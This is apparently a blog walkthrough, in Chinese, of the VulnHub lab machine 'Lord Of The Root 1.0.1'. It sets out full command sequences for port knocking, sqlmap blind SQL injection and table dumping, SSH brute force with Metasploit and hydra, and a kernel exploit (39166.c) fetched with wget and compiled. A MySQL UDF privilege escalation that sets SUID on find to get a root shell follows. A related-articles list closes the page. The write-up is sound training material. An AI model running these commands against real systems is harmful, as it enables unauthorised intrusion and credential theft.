Lord Of The Root: 1.0.1实战
前言
Description:我创建这台机器是为了帮助其他人学习一些基本的CTF黑客策略和一些工具。我瞄准了这台机器,使其在难度上与我在OSCP上破解的机器非常相似。
这是一个引导到根计算机将不需要任何来宾交互。
有两种设计的权限提升方法。
靶机环境
kali 192.168.31.153
Lord Of the root 192.168.31.161
靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
实战
信息收集
首先对靶机存活探测,端口碰撞,web页面枚举
端口碰撞:
端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击
端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包
当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过
由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制
nmap探测
使用nmap探测存活主机和对主机进行详细扫描
nmap 192.168.31.0/24 //探测存活主机
nmap 192.168.31.161 -sV -p- -O -A //扫描版本信息,全端口,操作系统,详细信息


仅仅发现了一个ssh的22端口,尝试使用ssh远程登录
ssh ssh@192.168.31.161

发现了一个提示,Easy as 1,2,3,是一个端口碰撞,碰撞序列为1,2,3(端口碰撞要求知道碰撞序列)
端口碰撞
在这里使用kali的knockd工具,进行端口碰撞,如果没有安装konckd按照以下命令执行(如果没有更新包可以更换更新apt源进行下载安装)
apt install knockd apt安装knockd
man knock //查看可用参数
knock 192.168.31.161 1 2 3 -v //开始端口碰撞,-v输出状态信息

看到以上页面说明碰撞成功,再次使用nmap查看开启的端口信息

web页面枚举
查看到http端口1337,在kali的浏览器访问http://192.168.31.161:1337

使用目录扫描工具dirsearch枚举页面信息
python3 dirsearch.py -u http://192.168.31.161:1337/ -e*

拿到了两个web页面,一个是404.html 还有一个是/images/和初始访问页面,分别访问并查看页面源码
/images/页面及其页面源码如下:


初始访问页面源码:

发现以上源码除了图片就是图片,只能把宝压在404页面
404.html页面及其源码:

发现了一串base64编码,使用burp的decoder模块反base64编码,

发现又是一层base64编码,继续编码一次

得到了一个文件路径,浏览器访问http://192.168.31.161/978345210/index.php

发现是一个登录页面,使用弱口令尝试并没有成功,一般登录界面除了弱口令,还有就是SQL注入,我们把枪口转到SQL注入
渗透
对页面进行简单的闭合,发现并没有任何回显后,转而使用sqlmap简单扫一下,查看是否有注入点
SQL注入--sqlmap--时间盲注
爆库
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -dbs --batch
--forms //post注入参数
--dbs //爆出当前系统所有数据库
--batch //自动选择选项扫描
-u //后面跟url链接


发现使用了时间盲注,并且爆出了当前数据库是Webapp
爆表
接下来使用获取到的Webapp库爆表
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp --tables --batch --technique T
--technique T //使用的是时间盲注技术
-D Webapp //使用数据库Webapp进行注入
--tables //爆出所有表


得到一个Users表
爆字段
再使用Users表爆字段
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp -T Users --columns --batch --technique T
--columns //爆出所有字段


爆数据
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp -T Users -C id,password,username --dump --batch --technique T


暴力破解拿shell
拿到用户和密码,可以尝试去web界面登录,我这里登录后发现没有什么线索,直接跳过来到爆破ssh,爆破ssh可以使用以下两种方法,msf的auxiliary/scanner/ssh/ssh_login和hydra爆破
将用户和密码分别存储在Users.txt和Password.txt
MSF爆破拿shell
msfconsole
search ssh_login
use 0或者use auxiliary/scanner/ssh/ssh_login
show options
set rhost 192.168.31.161
set user_file Users.txt
set pass_file Password.txt
exploit



从结果可知用户和密码分别是smeagol/MyPreciousR00t
hydra爆破
hydra -L Users.txt -P Password.txt 192.168.31.161 -s 22 ssh

同样也是拿到一样的用户和密码,两种方法二选一即可
后渗透
获取到ssh的用户密码,登录后台拿shell
ssh smeagol@192.168.31.161
MyPreciousR00t

提权
查看内核版本
cat /proc/version

发现是linux 3.19.0 ubuntu 14.04
内核提权
在浏览器查看到14.04有内核提权漏洞
使用searchsploit查看kali自带归档的提权脚本
searchsploit linux ubuntu 14.04 Privilege Escalation
//有跟着Privilege Escalation字样都是可用于提权的脚本

本次使用的脚本是39166.c,复制出来,查看用法
find / -name 39166.c
cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/39166.c
cat 39166.c


脚本中是直接使用exp进行提权,说明我们要将c脚本用gcc进行编译再执行
在此之前,先查看靶机后台可写入有哪些文件夹
find / -writable 2>/dev/null
以下只截一部分

可以看到/tmp或者/var/tmp的临时文件夹都能写入,在kali使用python开启http服务,将提权脚本传至/tmp或者/var/tmp文件夹
kali:
python3 -m http.server 8989
靶机:
cd /tmp //进入tmp文件夹
wget http://192.168.31.153:8989/39166.c //下载39166.c
ls //查看
gcc 39166.c -o overlays //编译39166.c为overlays
chmod +x overlays //赋予执行权限
./overlays //执行获取root
id //查看权限
cd /root //进入root目录
cat Flag.txt //查看flag


到此提权成功,以下是其他几种方法
Mysql UDF sys_exec sys_eval提权
这是第二种方法,mysql的udf提权
udf提权的条件:
root 权限运行mysql
在mysql 5.5 之前secure_file_priv 默认是空,这个情况下可以像任意路径写文件
在mysql 5.5 之后 secure_file_priv 默认是NULL 这个情况下不可以写文件
udf.dll文件必须防止在mysql安装目录的lib\plugin文件下才可以创建自定义函数
使用udf在系统将find命令写入权限
首先查看mysql版本和是否运行
dpkg -l | grep mysql

mysql版本是5.5,其次就是查找登录mysql的用户密码,一般都在搭建的web页面下,去/var/www/978345210下查看,发现mysql相关配置信息在login.php能看到用户和密码,root/darkshadow

利用mysql用户密码登录,并查看是否能够提权
mysql -u root -pdarkshadow
show databases;
use mysql;
show global variables like 'secure%'; //查看secure_file_priv是否为空

发现secure_file_priv为空,可写入文件路径权限
接下来就利用kali自带的udf创建函数用于写入权限,本次使用lib_mysqludf_sys_32.so
locate lib_mysqludf_sys //查看本地udf
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /root/udf.so //将lib_mysqludf_sys_32.so复制到/root下操作
du udf.so //查看大小方便后面使用不同的二进制类型

从前面已经知道/tmp和/var/tmp有写入权限,就将udf.so下载到/tmp或者/var/tmp路径下
cd /tmp
wget http://192.168.31.153:8989/udf.so

重新进入mysql开始创建函数
use mysql; //使用mysql数据库
create table udf(line blob); //创建udf表,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so'));//在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; //将udf文件内容传入新建的udf.so文件中,路径根据自己的文件路径修改
create function sys_eval returns string soname 'udf.so'; //创建自定义函数
select * from mysql.func; //查看函数
select sys_eval('chmod u+x /usr/bin/find'); //调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
quit
注:下图作为参考,权限我已经写入,仅仅展示命令成功的界面

find / -exec '/bin/sh' \;
whoami
cd /root
cat Flag.txt


总结
1.信息收集:(1)nmap挖掘信息 (2)端口碰撞 (3)web页面信息枚举
2.渗透: (1)SQL注入--sqlmap(爆库,爆表,爆字段,爆数据) (2)暴力破解获取webshell
3.后渗透: (1)提权(内核提权,Mysql udf sys_eval sys_exec提权)(2)缓冲区溢出(文件化随机绕过,绕过ASLR,pwndbg分析,forr循环Nop,环字符查询,shellcode编写,bash编写脚本,小技巧objdump、vmmap、checksec、Jmp)

Lord Of The Root: 1.0.1实战的更多相关文章
- 前后端分离之vue2.0+webpack2 实战项目 -- webpack介绍
webpack的一点介绍 Webpack 把任何一个文件都看成一个模块,模块间可以互相依赖(require or import),webpack 的功能是把相互依赖的文件打包在一起.webpack 本 ...
- vue2.0与实战开发
慕课网实战 百度云 web前端实战: Node.js入门到企业Web开发中的应用 Web前端性能优化 让你的页面飞起来 前端跳槽面试必备技巧 前端JavaScript面试技巧全套 node.JS 线上 ...
- (28000): Access denied for user 'root'@'127.0.0.1' (using password: YES)
在一台测试服务器测试Python脚本时,执行Python脚本时报如下错误: 主要错误信息为"operation the sql fail!1045 (28000): Access den ...
- Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员、后台管理员同时登录
1.登录的实现 登录功能实现起来有哪些常用的方式,大家首先想到的肯定是cookie或session或cookie+session,当然还有其他模式,今天主要探讨一下在Asp.net core 2.0下 ...
- Asp.Net Core 2.0 项目实战(11) 基于OnActionExecuting全局过滤器,页面操作权限过滤控制到按钮级
1.权限管理 权限管理的基本定义:百度百科. 基于<Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员.后台管理员同时登录>我们做过了登录认证, ...
- Asp.Net Core 2.0 项目实战(9) 日志记录,基于Nlog或Microsoft.Extensions.Logging的实现及调用实例
本文目录 1. Net下日志记录 2. NLog的使用 2.1 添加nuget引用NLog.Web.AspNetCore 2.2 配置文件设置 2.3 依赖配置及调用 ...
- Asp.Net Core 2.0 项目实战(8)Core下缓存操作、序列化操作、JSON操作等Helper集合类
本文目录 1. 前沿 2.CacheHelper基于Microsoft.Extensions.Caching.Memory封装 3.XmlHelper快速操作xml文档 4.Serializatio ...
- Asp.Net Core 2.0 项目实战(7)MD5加密、AES&DES对称加解密
本文目录 1. 摘要 2. MD5加密封装 3. AES的加密.解密 4. DES加密/解密 5. 总结 1. 摘要 C#中常用的一些加密和解密方案,如:md5加密.RSA加密与解密和DES加密等, ...
- Asp.Net Core 2.0 项目实战(6)Redis配置、封装帮助类RedisHelper及使用实例
本文目录 1. 摘要 2. Redis配置 3. RedisHelper 4.使用实例 5. 总结 1. 摘要 由于內存存取速度远高于磁盘读取的特性,为了程序效率提高性能,通常会把常用的不常变动的数 ...
- net core体系-web应用程序-4asp.net core2.0 项目实战(1)-13基于OnActionExecuting全局过滤器,页面操作权限过滤控制到按钮级
1.权限管理 权限管理的基本定义:百度百科. 基于<Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员.后台管理员同时登录>我们做过了登录认证, ...
随机推荐
- [Linux]调整swap
在启动Tomcat的过程中,tomcat/catalina.out中报出如下故障: > /opt/govern/wydaas/logs/catalina.out # There is insuf ...
- mysql锁及锁出现总结
转载请注明出处: 1.按锁粒度分类: 行锁:锁某行数据,锁粒度最小,并发度高:: 行锁是指加锁的时候锁住的是表的某一行或多行记录,多个事务访问同一张表时,只有被锁住的记录不能访问,其他的记录可正常访问 ...
- 扒一扒Nacos、OpenFeign、Ribbon、loadbalancer组件协调工作的原理
大家好,我是三友~~ 前几天有个大兄弟问了我一个问题,注册中心要集成SpringCloud,想实现SpringCloud的负载均衡,需要实现哪些接口和规范. 既然这个兄弟问到我了,而我又刚好知道,这不 ...
- Semantic Kernel 入门系列:💾Native Function
语义的归语义,语法的归语法. 基础定义 最基本的Native Function定义只需要在方法上添加 SKFunction 的特性即可. using Microsoft.SemanticKernel. ...
- 从ReentrantLock角度解析AQS
是它,是它,就是它,并发包的基石: 一.概述 闲来不卷,随便聊一点. 一般情况下,大家系统中至少也是JDK8了,那想必对于JDK5加入的一系列功能并不陌生吧.那时候重点加入了java.util.con ...
- python函数参数与类参数
python关于函数的一些应用 前言 鉴于python3与python2有些不同,看到某些代码时可能会感到疑惑,就稍微记录一下. 一.不限制个数的函数参数 1.*args 以此为参数,会被python ...
- 参与开源之夏 x OpenTiny 跨端跨框架 UI 组件库贡献,可以赢取奖金🏆!这份《OpenTiny 开源贡献指南》请收好🎁!
大家好,我是 Kagol. 近期有几位朋友在 OpenTiny 技术交流群里询问我们在开源之夏(OSPP)的项目,希望能提前做一些准备工作. 这里给大家简单介绍下开源之夏. 开源之夏是由中科院软件所& ...
- Nacos注册中心
介绍 Nacos是SpringCloudAlibaba的组件,而SpringCloudAlibaba也遵循SpringCloud中定义的服务注册.服务发现规范.因此使用Nacos和使用Eureka对于 ...
- 代码打包的可视化数据分析图: webpack-bundle-analyzer 的使用
先看webpack-bundle-analyzer的效果图(官方效果图): 通过使用webpack-bundle-analyzer可以看到项目各模块的大小,可以按需优化 1.先安装 npm insta ...
- 2022-07-13:给你一个整数数组 arr ,你一开始在数组的第一个元素处(下标为 0)。 每一步,你可以从下标 i 跳到下标 i + 1 、i - 1 或者 j : i + 1 需满足:i +
2022-07-13:给你一个整数数组 arr ,你一开始在数组的第一个元素处(下标为 0). 每一步,你可以从下标 i 跳到下标 i + 1 .i - 1 或者 j : i + 1 需满足:i + ...